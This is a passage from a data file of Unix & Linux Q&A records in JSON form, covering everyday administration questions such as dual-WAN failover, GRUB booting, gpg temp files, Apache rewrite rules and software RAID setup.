(dhcp; 1-10/10 Mbit; 2-20/20Mbit connection) are on two interfaces: eth0 and eth1. On eth3 there is a Gbit switch and on the switch there are many clients. How do I configure the Dual-Wan? I mean I don't want that the clients get notice of that one of the ISP has failed, and \"not serving internet\"! So if a client runs `ping 8.8.8.8` and the cable of one of the ISP is torn apart because of a yellow monster :) then there would be no ping outage. Any Linux-based OS would do (or even *BSD!)"} {"_id": "17576", "title": "Command-line way of send pinging", "text": "I have lots of Drupal powered website. Each of the website has Multiping module to pinging ping server. Is there any way of send pinging through command-line? I hope I can build dedicated server for pinging."} {"_id": "147625", "title": "Is it possible to change passwords temporarily?", "text": "I have a Linux system with several users. I don't know their passwords, nor do I want to know them. I have to do a batch copy of some of their directories over SSH, with their account and password. My idea was to make a backup of `/etc/shadow`, then alter it with new passwords for each user (one that I know, like \"tmppass\"), do my backups, then replace the `/etc/shadow` file with the old one. Will that work? If so, how do I generate the password/s? (The passwords are like $1$xxxxxx/xxxxx)."} {"_id": "41959", "title": "Prompting for input in post-install script in dpkg", "text": "I am writing a debian package and need to prompt the user for some textual details(default password, etc), as well as some one-of-many choices(\"Pick one of the following: foo, bar\"). Will shell scripts run in dpkg use `read` or `select` correctly, or do I need another solution? If so, please point me to a quick guide about it(not necessarily noob-friendly)."} {"_id": "13403", "title": "Can't access HTTP contents, but HTTPS and SSH are fine", "text": "I'm having a weired issue wih my Fedora 14 recently. Many details involed. Let's start from this: I've been using Fedora 14 for months, and recent few days, offten I can't access Internet for hours. I can verify by a iPod Touch that connected to the same router, that the connection is fine. Say the `traceroute` below. Any tips? **-- updates --** The computer has two network devices, eth0 and wlan0. When having the problem in Linux, I can't access Internet from neither. But if booted into Windows 7 on the same machine and the same time, Internet is available via wlan0, but not eth0! It sounds like that eth0 is broken? But I can use SSH and HTTPS via eth0 under Linux. Now it's fine again. But I suspect it will happens again in few days. I'll post the tcpTraceroute then. **traceroute on Linux** traceroute to 163.com (220.181.8.178), 30 hops max, 60 byte packets 1 * * * 2 58.246.230.1 (58.246.230.1) 6.228 ms * * 3 * * * 4 * * * 5 * * * 6 * * 112.64.243.170 (112.64.243.170) 6.627 ms 7 * * * 8 219.158.15.141 (219.158.15.141) 7.874 ms * * 9 * * * 10 * * * 11 * * * 12 * * 202.97.53.21 (202.97.53.21) 57.812 ms 13 * * * 14 220.181.16.138 (220.181.16.138) 57.633 ms * * 15 * * * 16 * * * 17 * * * 18 * * 220.181.8.178 (220.181.8.178) 59.643 ms **traceroute on Router (Tomato)** traceroute to 163.com (220.181.8.90), 30 hops max, 38 byte packets 1 58.246.230.1 (58.246.230.1) 2.178 ms 2.125 ms 9.450 ms 2 112.64.245.49 (112.64.245.49) 1.491 ms 1.361 ms 1.104 ms 3 112.64.245.37 (112.64.245.37) 1.647 ms 1.351 ms 1.712 ms 4 112.64.247.1 (112.64.247.1) 1.911 ms 4.424 ms 2.837 ms 5 112.64.243.170 (112.64.243.170) 2.322 ms 2.242 ms 2.126 ms 6 112.64.243.89 (112.64.243.89) 2.903 ms 2.345 ms 2.032 ms 7 219.158.21.237 (219.158.21.237) 3.180 ms 2.553 ms 2.501 ms 8 219.158.96.49 (219.158.96.49) 25.018 ms 24.734 ms 24.605 ms 9 219.158.5.82 (219.158.5.82) 24.555 ms 24.450 ms 24.473 ms 10 219.158.35.2 (219.158.35.2) 53.599 ms 77.827 ms 53.791 ms 11 202.97.53.21 (202.97.53.21) 55.111 ms 54.861 ms 55.390 ms 12 220.181.16.2 (220.181.16.2) 55.531 ms 56.193 ms 55.430 ms 13 220.181.16.138 (220.181.16.138) 52.883 ms 56.370 ms 54.770 ms 14 220.181.17.58 (220.181.17.58) 61.931 ms 51.274 ms 53.879 ms 15 220.181.8.90 (220.181.8.90) 50.331 ms 50.219 ms 50.177 ms"} {"_id": "13402", "title": "Disable /net ghosting for autofs5", "text": "I recently have been trying out Arch Linux. It seems that their autofs has a usability bug, although I confess that I'm new enough to Arch that I may be missing something horribly obvious. I want autofs to automagically mount hosts under `/net` like it has always done. Traditionally it used `/etc/auto.net` to accomplish this, however it seems that they've done away with this and now you simply use the following line: /net -hosts --timeout=60 Fine and dandy, most things seem to work. However, under Arch it seems that ghosting is enabled by default. This is a bad thing, because it uses my hosts file which only contains aliases of my local host (which is NOT running an NFS server, mind you). As a result, I get all kinds of errors about being unable to mount these hosts _every time_ I run an `ls` in `/net`. Notice: I'm not using `\\--ghost`, and yet it enables it by default. Arch confirms this on their wiki. This is extremely annoying, how do I _disable_ ghosting? Google has failed me horribly, any insight is appreciated. Thanks."} {"_id": "13404", "title": "How do I kill 1 gnome-terminal window?", "text": "Why in the world do all my gnome terminals run under 1 process in Ubuntu? This is integrating things that should remain separated! I much prefer `xterm`'s rational mode of running one process per window. I tried to switch some auto-started windows from `xterm` to `gnome-terminal` so I can freeze a log file from scrolling while I'm looking at it. Unfortunately, I can no longer kill my log windows that are littering my desktop. Just accidentally killed every terminal I had open!!! 1. Can I kill individual `gnome-terminal` windows as if they are single shell processes? (you know, like a normal process) OR 2. Can I stop auto-scrolling of `tail -f` inside an `xterm` by manually scrolling up, so I can read the log file while it's growing?"} {"_id": "90878", "title": "Applications are not using the same keyboard mappings, it seems", "text": "I\u2019m using an american keyboard and writing in Portuguese. I updated `/etc/sysconfig/keyboard` as the following article suggested. It worked but only in the console. Firefox and Sublime Text2 shows **'+c** (\u00e7) as **\u0107** , gedit shows nothing. In Firefox and Sublime Text2 the only problem is **\u00e7** , gedit is quite different, it seems like a Brazilian ABNT2 keyboard. **OS: CentOS 6** Contents of locale: LANG=pt_BR.UTF-8 LC_CTYPE=\u201dpt_BR.UTF-8\u2033 LC_NUMERIC=\u201dpt_BR.UTF-8\u2033 LC_TIME=\u201dpt_BR.UTF-8\u2033 LC_COLLATE=\u201dpt_BR.UTF-8\u2033 LC_MONETARY=\u201dpt_BR.UTF-8\u2033 LC_MESSAGES=\u201dpt_BR.UTF-8\u2033 LC_PAPER=\u201dpt_BR.UTF-8\u2033 LC_NAME=\u201dpt_BR.UTF-8\u2033 LC_ADDRESS=\u201dpt_BR.UTF-8\u2033 LC_TELEPHONE=\u201dpt_BR.UTF-8\u2033 LC_MEASUREMENT=\u201dpt_BR.UTF-8\u2033 LC_IDENTIFICATION=\u201dpt_BR.UTF-8\u2033 LC_ALL= contents of `/etc/sysconfig/keyboard` KEYTABLE=\u201dbr-latin1-us\u201d MODEL=\u201dlatin1-us\u201d LAYOUT=\u201dbr\u201d KEYBOARDTYPE=\u201dpc\u201d"} {"_id": "41951", "title": "Linux VPS Configuration", "text": "I just recently got my hands on a linux (Fedora) VPS and I would like to ask if there are special configurations that I have to be wary of. Do I still configure it like I would configure a normal virtual machine? Are there more things to take care of, or be cautious about because that machine is 24/7 available online, and can fall pray to those (hackers/crackers) seeking a machine to test their knowledge on? I would appreciate your input."} {"_id": "41952", "title": "How to enable WIFI on VMWare Fedora 12? (It's detecting and working fine on Windows 7)", "text": "I am new to Linux. I have Fedora 12 running on my VMware. I am unable to see any options to enable WIFI connection on Fedora. When I am accessing Internet through WIFI and its working perfectly fine on Windows 7 (on which VMware is running on). Am I missing something here? Can someone help me out with this!"} {"_id": "41954", "title": "Earphone remote in sound jack as X input", "text": "I have got new earphones, the AKG K318's to be exact and they have one of those remotes. On a smartphone, such as an Android phone or iPhone, the buttons map to actions on the music player such as play/pause, volume up/down, skip, previous, you get the idea. I was wondering how I could replicate the same function on my computer. I imagine the process consists of getting X to recognize the input, and then somehow mapping those inputs for an application to use. The \"device\" (which would connect via sound jack) isn't listed in `xinput`, nor do the buttons trigger regular keyboard events. **How can I use the earphones plugged in the output sound jack as X key inputs?**"} {"_id": "41957", "title": "How to define a `bc` function for later use?", "text": "I've always found `bc` kind of mysterious and intriguing. It was one of _the_ original Unix programs. And it's a programming language unto itself. So I gladly take any chance I can find to use it. Since bc doesn't seem to include a factorial function, I want to define one like so: define fact(x) { if (x>1) { return (x * fact(x-1)) } return (1) } But... I can't then reuse that, can I? I'd want to be able to do something like me@home$ bc <<< \"1/fact(937)\""} {"_id": "4430", "title": "Why do we use \"./\" to execute a file?", "text": "Why do we use `./filename` to execute a file in linux? Why not just enter it like other commands `gcc`, `ls` etc..."} {"_id": "136547", "title": "What is the difference between running \"bash script.sh\" and \"./script.sh\"?", "text": "If script.sh is just something typical like #!/bin/bash echo \"Hello World!\" Is there a preferred way to run the script? I think you first have to chmod it so it becomes executable?"} {"_id": "67579", "title": "Use of ./ in running the compiled code", "text": "Why do we use **./** before running a compiled code in linux? It does not seem to necessary if I am in a directory higher than the one having compiled code. Let me explain by example. If my code is in **/home/uname/code** , and I am also in the same directory, I have to use **./a.out**. But if I am in **/home/uname/** then I can use **./code/a.out**. Here I am using **./** but I think it is more to navigate through the directories and not as an indication that it has to run a code. So why do I need to use **./** to run a compiled code if I am in same directory as the code?"} {"_id": "68990", "title": "Why is ./filename required to run executable script?", "text": "After creating a Python script file, test.py, in my home directory, and running `chmod +x test.py` to make it executable, and placing `#!usr/bin/env` as the file header, I expected to be able to run the script from `bash` on OS X, using: $ test.py but `bash` returned: -bash: test.py: command not found The following command worked: $ ./test.py Why is the relative path required for this executable script in the present working directory?"} {"_id": "77113", "title": "What does ./ mean?", "text": "I'm having a hard time getting what `./` does. In the Linux Essentials books, it asks me in an exercise to delete a file named `-file`. After googling, I found that I need to do `rm ./-file` but I don't get why!"} {"_id": "16022", "title": "Why do you need the \"./\" when executing programs in the current directory?", "text": "> **Possible Duplicate:** > Why do we use \"./\" to execute a file? It seems redundant and gets annoying after a while -- is there a way to change this? If not, can somebody explain the reasoning behind this? Thanks!"} {"_id": "46457", "title": "Upstart: How to run a \"stop\" before stopping other services?", "text": "I recently found out about the upstart \"service starter\" that Ubuntu is using and that is (apparently) the future to start/stop jobs in Linux. It's pretty new to me (I was used to the old SysV system of putting scripts in `/etc/rc[X].d/`) and I don't know if it's possible to stop a service (call the service with the \"`stop`\" parameter, although the parameter doesn't seem to matter that much anymore) before other services are stopped. I want to run a small script that informs a remote server that the machine is shutting down. I need to run that script before the `dbus` and the `network` services are taken down. Is there any way of doing it with Upstart? Or... better said, what is the way of doing that through Upstart `.conf` files? (I'm sure there's a way, I just don't know it)"} {"_id": "46451", "title": "ssh-agent not starting in OpenSuSE desktop", "text": "It seems that ssh-agent is not starting on my OpenSuSE system. When I run `pgrep -fl ssh-agent`, the result is blank. On my Linux Mint laptop, I get `1785 /usr/bin/ssh-agent /usr/bin/dbus-launch --exit-with-session x-session- manager`. How do I fix this? Can anyone with OpenSuSE check to see if it's not started up by default, or if I maybe messed something up? ### things tried... I've tried adding the following to `.xinitrc`, if test -S \"$SSH_AUTH_SOCK\" -a -x \"$SSH_ASKPASS\"; then ssh-add < /dev/null fi and my `.xsession` file contains, ssh-agent { ssh-add & startkde } but neither of these things seems to do anything. Thanks in advance!!"} {"_id": "140263", "title": "Is there some way to make alias expansion work inside if...fi on Bash?", "text": "Check this script: #!/bin/bash if true;then alias WeirdTest='uptime';shopt -s expand_aliases WeirdTest fi WeirdTest The first time `WeirdTest` is executed it says \"command not found\"."} {"_id": "140262", "title": "Debian Jessie GRUB2 on a multi-boot EFI laptop cannot start a Gentoo kernel-initramfs", "text": "I have an HP Pavillion Touch 14-N009LA laptop running on an AMD A8-4555M CPU, 8 GB of RAM, and a 750 GB HD, currently running on dual boot Windows 8.1 accessible via the system's EFI boot manager, and Debian Jessie accessible via a special option on my startup menu to start an OS installed under legacy BIOS mode. I am trying to install Gentoo on a dm-crypt partition and I have already set up an encrypted partition for the system's root, and a plaintext partition for the Gentoo kernel, initramfs and GRUB configuration. I have already installed the stage 3 files, Portage, compiled the kernel and generated a LUKS-capable initramfs using `genkernel --luks all`. After unsuccessfully getting the system to boot from Gentoo's GRUB2, I figured I could also boot Gentoo by adding an entry to Debian's GRUB configuration, so I edited `/etc/grub.d/40_custom` with the following: menuentry \"Gentoo Linux\" { set root=(hd0,9) linux /kernel-genkernel-x86_64-3.12.21-gentoo-r1 cryptdevice=/dev/sda11:dm-root root=/dev/mapper/dm-root initrd /initramfs-genkernel-x86_64-3.12.21-gentoo-r1 } After running `update-grub2` the entry shows up just fine on the GRUB configuration. However, when I try to boot said entry, GRUB claims that it can't find the specified kernel image, even though I'm absolutely sure I'm specifying it fine. ![Debian GRUB2 error message](http://i.stack.imgur.com/5BBqE.jpg) * * * **More details about my system's configuration:** Output of `lsblk`: NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 698.7G 0 disk \u251c\u2500sda1 8:1 0 400M 0 part \u251c\u2500sda2 8:2 0 260M 0 part /boot/efi \u251c\u2500sda3 8:3 0 128M 0 part \u251c\u2500sda4 8:4 0 183.1G 0 part /media/C \u251c\u2500sda5 8:5 0 350M 0 part \u251c\u2500sda6 8:6 0 25.2G 0 part \u251c\u2500sda7 8:7 0 1.6G 0 part /boot \u251c\u2500sda8 8:8 0 8.2G 0 part [SWAP] \u251c\u2500sda9 8:9 0 40G 0 part / \u251c\u2500sda10 8:10 0 4.4G 0 part \u251c\u2500sda11 8:11 0 426.4G 0 part \u2514\u2500sda12 8:12 0 8.7G 0 part sr0 11:0 1 1024M 0 rom Output of `parted -l`: Model: ATA WDC WD7500BPVX-6 (scsi) Disk /dev/sda: 750GB Sector size (logical/physical): 512B/4096B Partition Table: gpt Number Start End Size File system Name Flags 1 1049kB 420MB 419MB ntfs Basic data partition hidden, diag 2 420MB 693MB 273MB fat32 EFI system partition boot 3 693MB 827MB 134MB Microsoft reserved partition msftres 4 827MB 197GB 197GB ntfs Basic data partition msftdata 10 197GB 202GB 4719MB ext2 msftdata 11 202GB 660GB 458GB msftdata 12 660GB 669GB 9343MB linux-swap(v1) 7 669GB 671GB 1709MB ext2 msftdata 8 671GB 680GB 8791MB linux-swap(v1) 9 680GB 723GB 42.9GB ext4 msftdata 5 723GB 723GB 367MB ntfs hidden, diag 6 723GB 750GB 27.1GB ntfs Basic data partition hidden, msftdata Contents of `/dev/sda10`, my Gentoo boot partition: total 9436 drwxr-xr-x 4 root root 4096 Jul 1 2014 grub -rw-r--r-- 1 root root 3916272 Jul 1 2014 initramfs-genkernel-x86_64-3.12.21-gentoo-r1 -rw-r--r-- 1 root root 3603216 Jul 1 17:16 kernel-genkernel-x86_64-3.12.21-gentoo-r1 drwx------ 2 root root 16384 Jun 30 17:09 lost+found -rw-r--r-- 1 root root 2103510 Jul 1 17:16 System.map-genkernel-x86_64-3.12.21-gentoo-r1"} {"_id": "128887", "title": "How can you avoid clobbering configuration files when installing with make", "text": "When using the autotools build system and installing with `make install` how is it possible to avoid clobbering existing configuration files? I've defined a configuration file in a `Makefile.am` like so: dist_sysconf_DATA = $(top_srcdir)/server.conf How is it possible to define data files in such a way that `make install` will not clobber an existing version?"} {"_id": "101400", "title": "gpg uses temporary files, instead of pipe", "text": "I have my `/root` mounted as `read-only`. I have a script that sends an encrypted email using `gpg`. something like the following: echo \"hello\" | gpg --no-verbose -e -a -r martin@example.com | mail martin@example.com But I get an error: gpg: failed to create temporary file `/root/.gnupg/.#dkflsfj: Read-only file system How can I tell `gpg` not to use temporary files? I have found an option `use- temp-files` in `man gpg` use-temp-files On most Unix-like platforms, GnuPG communicates with the keyserver helper program via pipes, which is the most efficient method. This option forces GnuPG to use temporary files to communicate. On some platforms (such as Win32 and RISC OS), this option is always enabled. I don't have this option enabled in my config. Apparently, it is set by default. Is there any way I could \"negate\" this option? Or any other way to fix this problem? **UPDATE** : the option `no-use-temp-files` does not seem to have any effect: echo \"asdf\" | gpg --keyserver-options no-use-temp-files -e -a -r martin@example.com I still get the same error: `gpg: failed to create temporary file`/root/.gnupg/.#jkfjg': Read-only file system`"} {"_id": "100936", "title": "phpmyadmin in linux installation", "text": "I am trying to install **Request Tracker** tool in my **RHEL 5.6** machine.I am following the instructions as mentioned in this link. However, I am facing couple of issues. The first issue is in the below step. I have some dependency issues for php files. # yum install rpm* nmap expect vsftpd net-snmp* ntp* subversion subversion-devel mysql mysql-server mysql-devel screen perl-Crypt- PasswdMD5 graphviz php-xml php-cli php-mhash php-ldap php-devel php-pdo php-imap php-readline php-ncurses php-soap php-snmp php-common php-mcrypt php-odbc php-mbstring php-gd php-bcmath php php-xmlrpc php-pear php-mysql php-dba mod_perl-devel mod_auth_mysql mod_perl mod_authz_ldap gd gd-devel gd-progs gcc* -- exclude=gcc-java* -- exclude=gcc4-java phpmyadmin mod_fcgid perl-GD perl-GnuPG-Interface perl-GraphViz perl-YAM So, I tried to do the below command. yum install php When I do the above command, I received the below message. Package matching php-5.1.6-40.el5_9.i386 already installed. Checking for update. Nothing to do So, as per the tutorial link, I needed **phpmyadmin**. So, I used the below command. It gave me the below output. Error: Missing Dependency: php-api = 20041225 is needed by package php-mcrypt-5.1.6-5.el5.i386 (epel) Error: Missing Dependency: php-common = 5.1.6-40.el5_9 is needed by package php-gd-5.1.6-40.el5_9.i386 (rhel-i386-server-5) If I try to install the missing dependencies, **php-common** using yum command, I receive the below message. Package matching php-common-5.1.6-40.el5_9.i386 already installed. Checking for update. If I try to install the missing dependency, **php-api** using yum command, I receive the below message. php53-common-5.3.3-21.el5.i386 from rhel-i386-server-5 has depsolving problems --> php53-common conflicts with php-common How can I install the phpmyadmin so that I can continue with the installation of Request tracker tool?"} {"_id": "101406", "title": "gparted without GUI / X", "text": "Is there a CLI gparted version without GUI / X? parted shows warnings like the following when resizing / moving partitions: > WARNING: you are attempting to use parted to operate on (resize) a file > system. parted's file system manipulation code is not as robust as what > you'll find in dedicated, file-system-specific packages like e2fsprogs. We > recommend you use parted only to manipulate partition tables, whenever > possible. Support for performing most operations on most types of file > systems will be removed in an upcoming release. or > Error: file system has incompatible feature enabled. Compatible features are > has_journal, dir_index, filetype, sparse_super and large_file Use tune2fs or > debugfs to remove features. gparted can move / resize them. I thought they were using the same libraries. Is there any alternative to parted?"} {"_id": "46459", "title": "Install another PHP version. Fedora 17", "text": "How can I install another PHP version? I have php 5.4.5 for now, but I need the version 5.3.15 running too. How can I perform this on Fedora 17? Without using a Virtual Machine?"} {"_id": "101404", "title": "Rename multiple files removing last characters and renumbering", "text": "I have a photo directory with hundreds of files named in the format: 2013-08-02 19.21.27.jpg I wish to keep the first 10 characters (date) and append \"-001\", etc. being consecutive for each date. The output would be: 2013-08-02-001.jpg 2013-08-02-002.jpg 2013-08-03-001.jpg etc. I then plan to resize the jpg's using something like: for file in *.jpg; do convert $file -resize 900x900\\> 900x900-$file; done"} {"_id": "101405", "title": "Rewrite module won't work on Xubuntu/Apache", "text": "I have a Xubuntu (12.10) machine with Apache and PHP servers from the apt-get repository. I need to create a simple REST service in PHP and therefore need to set up .htaccess so that arbitrary URLs would get redirected to my PHP script. I have the following FS structure -- /var/www/ -- service/ -- .htaccess -- index.php I found an article online that recommends to create a syntactic error in your .htaccess file and then see if the server answers with a 500 instead of a 404. That's why I have the following .htaccess contents. RewriteEngine on some junk RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d I also have the following snippet in my apache2.conf (which was there by default and I checked that it should be OK). Order allow,deny Deny from all Satisfy all I have enabled the rewrite module using the `a2enmod` command. My `/etc/apache2/mods-enabled` folder therefore contains the `rewrite.load` symlink. When I hit `http://localhost/service` or `http://localhost/service/index.php` everything works fine (i.e. I get the correctly processed index.php results). When I try any other URL, though, such as `http://localhost/service/whatever` I get a 404 error page. Restarting the apache service does not help either. It seems that the Apache server is still ignoring my `.htaccess` file. What am I missing?"} {"_id": "20601", "title": "Is there any web browser that uses keybinding apart from uzbl?", "text": "I have just found out about uzbl but for some reason it crashes with segmentation fault when I log into gmail (Arch). I don't have the time nor the knowledge of dealing with this segmentation fault so I have thought about using another browser of that type. Are there any? Thanks."} {"_id": "20600", "title": "Should I put application into /usr/local or /usr/local/share?", "text": "What are the \"standards\" -- should I put application (not just binary, but entire distribution) to /usr/local or /usr/local/share. For example scala or weka -- it contains examples, binaries, libraries, and so on. So it would be /usr/local/scala-2.9.1 or /usr/local/share/scala-2.9.1 Since I am the only admin it is not a big deal for me, but I prefer to using something which is widely used, not with my own customs. **Important:** I am not asking about cases, where you should split app into /usr/local/bin, /usr/local/lib and so on. Rather I am asking about case when you have to keep one main directory for entire application."} {"_id": "45184", "title": "Why this error: \"cannot create directory `foo': Permission denied\"", "text": "I get this error when I try creating a directory: [rex <03:57 PM> /var/tmp/pb82]$ mkdir foo mkdir: cannot create directory `foo': Permission denied But doesn't the following output indicate that I should be able to create directories there since I am a member of the www-data group to which that directory belongs? [rex <03:57 PM> /var/tmp/pb82]$ ls -l .. total 8 drwxrwxr-x 5 root www-data 4096 Aug 7 15:32 jinfo drwxrwxr-x 3 root www-data 4096 Aug 7 20:43 pb82 [rex <03:58 PM> /var/tmp/pb82]$ whoami rex [rex <03:58 PM> /var/tmp/pb82]$ groups rex users www-data Edit: in response to @UlrichDangel: [rex <04:08 PM> /var/tmp/pb82/jinfo]$ id uid=1008(rex) gid=100(users) groups=100(users)"} {"_id": "20604", "title": "How to set up the DOMAIN_HOME environment variable in SUSE Linux", "text": "I am running Java NetBeans 6.9 jdk 6 on SUSE Linux (a newbie on linux) and I currently need to get the path of the weblogic domain of my Java application. I have read that I can directly access the environment variable by using this : System.getenv(\"DOMAIN_HOME\") The problem is I couldn't find the `DOMAIN_HOME` environment variable (actually I have no idea on setting up the env. variable in linux). I found instructions on the internet telling me that I could set this up by setting : Export DOMAIN_HOME = /desired_path_to_domain Following several instructions found on the internet, I have already tried the following resolutions : 1. I wrote this on my home's .profile : **`export DOMAIN_HOME=$DOMAIN_HOME:/path_to_domain`** 2. I also wrote that on my home's .bashrc and on `/etc/bash.bashrc` 3. I executed this on the konsole printenv ... and as expected I saw the list of all the environment variables. At first, I thought it was pointed to .profile but it wasn't. It was displaying an entirely different value from what was defined on .profile when I executed the line echo #PATH ... so I concluded that my environment variables weren't defined on .profile The question is, where exactly is that printenv (environment variables) defined and how can I modify it to include my `DOMAIN_HOME` variable. Guys, I really need this. I came up posting on forums because none of the solutions above or anywhere else could solve my problem. `DOMAIN_HOME` remains null (even after restarting my linux server)."} {"_id": "101043", "title": "Linker error: /usr/bin/ld: cannot find -lgcc_s", "text": "I am trying to compile `symlinks` (tar.gz-file), which is a very small tool with one line for compilation: gcc -Wall -Wstrict-prototypes -O2 -N -s -o symlinks symlinks.c which gives the error .... /usr/bin/ld: cannot find -lgcc_s /usr/bin/ld: cannot find -lgcc_s collect2: ld returned 1 exit status The output of /sbin/ldconfig -p | grep libgcc is libgcc_s.so.1 (libc6) => /lib/i386-linux-gnu/libgcc_s.so.1 and trying to include the mentioned directory directly gcc -Wall -Wstrict-prototypes -L /lib/i386-linux-gnu/ -O2 -N -s -o symlinks symlinks.c produces the same error. Three questions: 1. Why does it not work with the first command, as the lib seems to be in the search path 2. Why does including the path itself does not help 3. How to fix this?"} {"_id": "20609", "title": "curious soft raid 5 setting inconsistency", "text": "Lately I bit the bullet and upgrade my OS from Fedora 11 to Fedora 15, and I've been trying very hard to figure out why Fedora 15 can't see the Raid setup that I created in Fedora 11. I think I must have missed something so I resort to group wisdom here. When I upgraded, I used a new boot drive for Fedora 15, so I can physically swap the boot drives and boot into either Fedora 11 or 15. Fedora 11 can still see the Raid and everything works. Fedora 15 shows something very strange. [edited to add the output of the request of @psusi ] **On Fedora 11** I had a regular boot drive (/dev/sda) and an lvm built on raid 5 (/dev/sdb, /dev/sdc, /dev/sdd). Specifically, the raid disk /dev/md/127_0 is built from /dev/sdb1, /dev/sdc1, /dev/sdd1, where each partition takes the whole disk space. The volume group of the boot drive (/dev/vg_localhost/) is irrelevant. The volume group that I created onto the raid disk is called /dev/lvm-tb-storage/. The following is the settings that I got from the system (mdadm, pvscan, lvscan, etc.) [root@localhost ~]# cat /etc/mdadm.conf [root@localhost ~]# pvscan PV /dev/md127 VG lvm-tb-storage lvm2 [1.82 TB / 0 free] PV /dev/sda5 VG vg_localhost lvm2 [61.44 GB / 0 free] Total: 2 [1.88 TB] / in use: 2 [1.88 TB] / in no VG: 0 [0 ] [root@localhost ~]# lvscan ACTIVE '/dev/lvm-tb-storage/tb' [1.82 TB] inherit ACTIVE '/dev/vg_localhost/lv_root' [54.68 GB] inherit ACTIVE '/dev/vg_localhost/lv_swap' [6.77 GB] inherit [root@localhost ~]# vgdisplay --- Volume group --- VG Name lvm-tb-storage System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 6 VG Access read/write VG Status resizable MAX LV 0 Cur LV 1 Open LV 1 Max PV 0 Cur PV 1 Act PV 1 VG Size 1.82 TB PE Size 4.00 MB Total PE 476839 Alloc PE / Size 476839 / 1.82 TB Free PE / Size 0 / 0 VG UUID wqIXsb-KRZQ-eRnH-JvuP-VdHk-XJTG-DSWimc --- Volume group --- VG Name vg_localhost System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 3 VG Access read/write VG Status resizable MAX LV 0 Cur LV 2 Open LV 2 Max PV 0 Cur PV 1 Act PV 1 VG Size 61.44 GB PE Size 4.00 MB Total PE 15729 Alloc PE / Size 15729 / 61.44 GB Free PE / Size 0 / 0 VG UUID IVIpCV-C4qg-Lii7-zwkz-P3si-MXAZ-WYUSe6 [root@localhost ~]# vgscan Reading all physical volumes. This may take a while... Found volume group \"lvm-tb-storage\" using metadata type lvm2 Found volume group \"vg_localhost\" using metadata type lvm2 [root@localhost ~]# mdadm --detail --scan ARRAY /dev/md/127_0 metadata=0.90 UUID=bebfd467:cb6700d9:29bdc0db:c30228ba [root@localhost ~]# ls -al /dev/md total 0 drwxr-xr-x. 2 root root 60 2011-09-13 03:14 . drwxr-xr-x. 19 root root 5180 2011-09-13 03:15 .. lrwxrwxrwx. 1 root root 8 2011-09-13 03:14 127_0 -> ../md127 [root@localhost ~]# mdadm --detail /dev/md/127_0 /dev/md/127_0: Version : 0.90 Creation Time : Wed Nov 5 18:26:25 2008 Raid Level : raid5 Array Size : 1953134208 (1862.65 GiB 2000.01 GB) Used Dev Size : 976567104 (931.33 GiB 1000.00 GB) Raid Devices : 3 Total Devices : 3 Preferred Minor : 127 Persistence : Superblock is persistent Update Time : Tue Sep 13 03:28:51 2011 State : clean Active Devices : 3 Working Devices : 3 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 64K UUID : bebfd467:cb6700d9:29bdc0db:c30228ba Events : 0.671154 Number Major Minor RaidDevice State 0 8 17 0 active sync /dev/sdb1 1 8 49 1 active sync /dev/sdd1 2 8 33 2 active sync /dev/sdc1 [root@localhost ~]# cat /proc/mdstat Personalities : [raid6] [raid5] [raid4] md127 : active raid5 sdb1[0] sdc1[2] sdd1[1] 1953134208 blocks level 5, 64k chunk, algorithm 2 [3/3] [UUU] unused devices: [root@localhost ~]# mdadm --examine /dev/sdb1 /dev/sdb1: Magic : a92b4efc Version : 0.90.00 UUID : bebfd467:cb6700d9:29bdc0db:c30228ba Creation Time : Wed Nov 5 18:26:25 2008 Raid Level : raid5 Used Dev Size : 976567104 (931.33 GiB 1000.00 GB) Array Size : 1953134208 (1862.65 GiB 2000.01 GB) Raid Devices : 3 Total Devices : 3 Preferred Minor : 127 Update Time : Tue Sep 13 03:29:50 2011 State : clean Active Devices : 3 Working Devices : 3 Failed Devices : 0 Spare Devices : 0 Checksum : f1ddf826 - correct Events : 671154 Layout : left-symmetric Chunk Size : 64K Number Major Minor RaidDevice State this 0 8 17 0 active sync /dev/sdb1 0 0 8 17 0 active sync /dev/sdb1 1 1 8 49 1 active sync /dev/sdd1 2 2 8 33 2 active sync /dev/sdc1 [root@localhost ~]# fdisk -lu 2>&1 Disk /dev/dm-0 doesn't contain a valid partition table Disk /dev/dm-1 doesn't contain a valid partition table Disk /dev/md127 doesn't contain a valid partition table Disk /dev/dm-2 doesn't contain a valid partition table Disk /dev/sda: 250.0 GB, 250000000000 bytes 255 heads, 63 sectors/track, 30394 cylinders, total 488281250 sectors Units = sectors of 1 * 512 = 512 bytes Disk identifier: 0x00000080 Device Boot Start End Blocks Id System /dev/sda1 63 610469 305203+ 83 Linux /dev/sda2 610470 359004554 179197042+ 83 Linux /dev/sda3 * 359004555 359414154 204800 83 Linux /dev/sda4 359422245 488279609 64428682+ 5 Extended /dev/sda5 359422308 488278371 64428032 8e Linux LVM Disk /dev/sdb: 1000.2 GB, 1000204886016 bytes 255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectors Units = sectors of 1 * 512 = 512 bytes Disk identifier: 0xb03e1980 Device Boot Start End Blocks Id System /dev/sdb1 63 1953134504 976567221 da Non-FS data Disk /dev/sdc: 1000.2 GB, 1000204886016 bytes 255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectors Units = sectors of 1 * 512 = 512 bytes Disk identifier: 0x7db522d5 Device Boot Start End Blocks Id System /dev/sdc1 63 1953134504 976567221 da Non-FS data Disk /dev/sdd: 1000.2 GB, 1000204886016 bytes 255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectors Units = sectors of 1 * 512 = 512 bytes Disk identifier: 0x20af5840 Device Boot Start End Blocks Id System /dev/sdd1 63 1953134504 976567221 da Non-FS data Disk /dev/dm-0: 58.7 GB, 58707673088 bytes 255 heads, 63 sectors/track, 7137 cylinders, total 114663424 sectors Units = sectors of 1 * 512 = 512 bytes Disk identifier: 0x00000000 Disk /dev/dm-1: 7264 MB, 7264534528 bytes 255 heads, 63 sectors/track, 883 cylinders, total 14188544 sectors Units = sectors of 1 * 512 = 512 bytes Disk identifier: 0x00000000 Disk /dev/md127: 2000.0 GB, 2000009428992 bytes 2 heads, 4 sectors/track, 488283552 cylinders, total 3906268416 sectors Units = sectors of 1 * 512 = 512 bytes Disk identifier: 0x00000000 Disk /dev/dm-2: 2000.0 GB, 